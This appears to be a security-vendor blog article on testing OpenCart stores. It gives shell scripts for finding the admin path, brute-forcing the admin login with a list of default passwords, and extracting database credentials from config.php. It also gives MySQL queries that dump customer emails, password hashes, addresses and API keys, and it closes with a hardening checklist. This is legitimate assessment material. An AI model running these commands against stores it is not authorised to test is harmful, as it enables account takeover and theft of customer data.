E-Commerce Security Testing

OpenCart Security Testing: Default Credentials, Admin Access, MySQL, and config.php

📅 July 3, 2026 ⏱ 11 min read 🏷 OpenCart, E-Commerce Security, Default Credentials, MySQL, config.php, API Token, Extension RCE, Customer Data

OpenCart is a widely deployed open-source e-commerce platform used by small to medium businesses running online stores, containing customer orders, payment information, and personal data. Its PHP architecture and plugin ecosystem are the primary attack surfaces. Key assessment areas: OpenCart defaults to admin/admin in many automated installations; config.php (in the root and admin directories) stores MySQL database credentials in PHP constants; the OpenCart REST API returns order and customer data to authenticated users; the oc_customer table contains customer email addresses and bcrypt password hashes; third-party extensions frequently introduce file upload vulnerabilities enabling PHP RCE; and the admin directory is sometimes discovered through path enumeration when it hasn't been renamed. This guide covers systematic OpenCart security assessment.

Default Credentials and Admin Path Discovery
API Access and Order Data Enumeration
config.php Database Credentials and MySQL Access
OpenCart Security Hardening

Default Credentials and Admin Path Discovery

# OpenCart — default credentials and admin path discovery
OC_URL="https://shop.example.com"

# OpenCart common admin paths — admin directory is often renamed
# Default: /admin/ — check common alternatives too
for ADMIN_PATH in "admin" "administrator" "backend" "manage" "cms" "store-admin"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${OC_URL}/${ADMIN_PATH}/" 2>/dev/null)
  echo "${ADMIN_PATH}/: ${STATUS}"
  # 200 = found
done

# If robots.txt discloses the renamed admin path
curl -s "${OC_URL}/robots.txt" 2>/dev/null | grep -i "disallow\|admin"

# Admin login — form-based (POST to admin/index.php?route=common/login)
ADMIN_PATH="admin"  # Replace with discovered path
curl -s -c /tmp/oc_sess -b /tmp/oc_sess \
  -X POST "${OC_URL}/${ADMIN_PATH}/index.php?route=common/login" \
  -d "username=admin&password=admin" \
  -L -o /tmp/oc_login.html 2>/dev/null

# Check if login succeeded
grep -q "route=common/dashboard" /tmp/oc_login.html && echo "Login SUCCEEDED: admin/admin" || echo "Login FAILED"

# Try common password combinations
for PASS in "admin" "admin123" "password" "opencart" "1234" "changeme"; do
  RESULT=$(curl -s -c /tmp/oc_sess_${PASS} -b /tmp/oc_sess_${PASS} \
    -X POST "${OC_URL}/${ADMIN_PATH}/index.php?route=common/login" \
    -d "username=admin&password=${PASS}" \
    -L 2>/dev/null | grep -c "route=common/dashboard")
  [ "$RESULT" -gt 0 ] && echo "SUCCESS: admin/${PASS}" || echo "FAIL: admin/${PASS}"
done

API Access and Order Data Enumeration

# OpenCart REST API — order and customer data enumeration
OC_URL="https://shop.example.com"

# OpenCart API — requires API key and IP whitelist (configure in admin > System > API)
# POST to get API token (session-based)
API_KEY="your-opencart-api-key"  # Set in admin panel
API_RESPONSE=$(curl -s -X POST "${OC_URL}/index.php?route=api/login" \
  -d "key=${API_KEY}" 2>/dev/null)

API_TOKEN=$(echo "$API_RESPONSE" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(d.get('api_token',''))
" 2>/dev/null)

echo "API token: ${API_TOKEN}"

# With admin session (cookie-based) — get all orders from admin panel
# GET /admin/index.php?route=sale/order&user_token=TOKEN
USER_TOKEN=$(grep -o 'user_token=[^&"]*' /tmp/oc_login.html 2>/dev/null | head -1 | cut -d= -f2)

curl -s "${OC_URL}/${ADMIN_PATH}/index.php?route=sale/order/info&order_id=1&user_token=${USER_TOKEN}" \
  -b /tmp/oc_sess 2>/dev/null | grep -E "payment|shipping|customer" | head -20

# oc_api table — all API keys configured in the store
# (requires database access — see below)

# Check if install directory was removed
curl -s -o /dev/null -w "%{http_code}" "${OC_URL}/install/" 2>/dev/null
# 200 = installer still accessible (critical — enables full reinstall)

config.php Database Credentials and MySQL Access

# OpenCart config.php and database credential extraction

# Two config files — root and admin
# Root config.php — frontend database credentials
grep "DB_PASSWORD\|DB_USER\|DB_DATABASE\|DB_HOSTNAME" \
  /var/www/html/config.php 2>/dev/null
# define('DB_PASSWORD', 'DATABASE_PASSWORD');
# define('DB_USER', 'opencart');
# define('DB_DATABASE', 'opencart');

# Admin config.php — may have different credentials
grep "DB_PASSWORD\|DB_USER\|DB_DATABASE" \
  /var/www/html/admin/config.php 2>/dev/null

# MySQL direct access — all tables with sensitive data
mysql -u opencart -p"DB_PASSWORD" opencart 2>/dev/null << 'EOF'
-- All customers with email addresses and password hashes
SELECT customer_id, firstname, lastname, email,
       password, date_added, ip
FROM oc_customer
ORDER BY date_added DESC
LIMIT 20;
EOF
# password column: bcrypt hash ($2y$ prefix)

# All orders — customer purchases and shipping addresses
mysql -u opencart -p"DB_PASSWORD" opencart 2>/dev/null << 'EOF'
SELECT o.order_id, o.firstname, o.lastname, o.email,
       o.telephone, o.shipping_address_1, o.shipping_city,
       o.total, o.currency_code, o.date_added
FROM oc_order o
WHERE o.order_status_id > 0
ORDER BY o.date_added DESC
LIMIT 20;
EOF

# API keys stored in database
mysql -u opencart -p"DB_PASSWORD" opencart 2>/dev/null << 'EOF'
SELECT api_id, username, key, ip, status, date_added
FROM oc_api
LIMIT 20;
EOF
# key column contains the OpenCart API key in plaintext

OpenCart Security Hardening

OpenCart Security Hardening Checklist:

Change default admin credentials and rename the admin directory — OpenCart's installation wizard creates an admin account with the username "admin" and a password chosen during setup; many automated deployments, marketplace images, and tutorials use "admin" as both username and password; the admin panel provides access to all customer data, orders, product configuration, and payment gateway settings; change the admin password to a strong unique credential immediately after installation and rename the /admin directory to an obscure name (configured in admin/config.php via DIR_APPLICATION); verify the renamed admin path is not disclosed in robots.txt, HTML comments, or JavaScript files
Protect both config.php files from web access — OpenCart uses two config.php files: one in the root directory (frontend) and one in the admin directory; both contain the MySQL database credentials as PHP constants including DB_PASSWORD, DB_USER, DB_DATABASE, and DB_HOSTNAME; these files should not be accessible via the web server; verify that direct requests to /config.php and /admin/config.php return 403 or 404 rather than displaying the PHP source (which can happen with misconfigured web servers or PHP execution disabled); restrict these files to 640 owned by the web server user
Delete or restrict the install directory after installation — OpenCart's /install directory contains scripts that allow resetting the database and reinstalling the store from scratch; if left accessible after installation, an attacker with access to the install directory can wipe all store data and create a new admin account; verify /install/ returns 403/404; many OpenCart hardening guides recommend deleting the install directory entirely after setup is complete; check for its presence on any OpenCart deployment as part of the initial security assessment
Audit third-party extensions for file upload vulnerabilities — OpenCart's extension ecosystem is the most common vector for PHP remote code execution; many extensions implement file upload functionality (product image uploaders, theme importers, backup tools) that may lack proper file type validation; extensions that allow uploading PHP files to web-accessible directories enable direct RCE; audit installed extensions via admin > Extensions and review any that handle file uploads; restrict the /image and /upload directories to prevent PHP execution using web server configuration (deny execution of PHP files in upload paths)
Implement OpenCart API key IP restriction and key rotation — the oc_api table stores OpenCart REST API keys in plaintext; the API configuration in admin > System > API allows restricting each API key to specific IP addresses; verify that API keys are IP-restricted to the application servers that need API access; rotate API keys regularly; the OpenCart API provides access to cart operations, product data, and potentially order creation — an unrestricted API key can be used to enumerate product data and test payment flows

Security Test	Method	Risk
Default admin credential exploitation and path discovery	Enumerate /admin, /administrator, /backend — check robots.txt; POST login with admin:admin; admin panel provides full store access including customer data, orders, and payment configuration	Critical
Install directory access	GET /install/ — HTTP 200 = installer accessible; enables database reset and new admin account creation; complete store takeover	Critical
config.php MySQL credential extraction	Read /config.php and /admin/config.php — DB_PASSWORD in PHP constants; direct database access to oc_customer (bcrypt hashes), oc_order (customer PII and purchase history), oc_api (API keys)	Critical
Customer data enumeration via MySQL	SELECT from oc_customer — emails, bcrypt password hashes, phone numbers, IP addresses; SELECT from oc_order — shipping addresses, purchase totals, and order history	Critical
Extension file upload RCE	Test extension upload functionality for PHP file acceptance; if PHP files upload to web-accessible path, execute arbitrary commands as web server user	Critical (if vulnerable extension present)

Automate OpenCart Security Testing

Ironimo tests OpenCart deployments for default credential exploitation, admin directory path enumeration, install directory accessibility, config.php MySQL credential extraction from both root and admin locations, oc_customer table customer email and password hash extraction, oc_order table customer purchase data enumeration, oc_api API key plaintext extraction, extension file upload RCE testing, robots.txt admin path disclosure, and web server misconfiguration allowing config.php access.

Start free scan

Table of Contents

Default Credentials and Admin Path Discovery

API Access and Order Data Enumeration

config.php Database Credentials and MySQL Access

OpenCart Security Hardening

Automate OpenCart Security Testing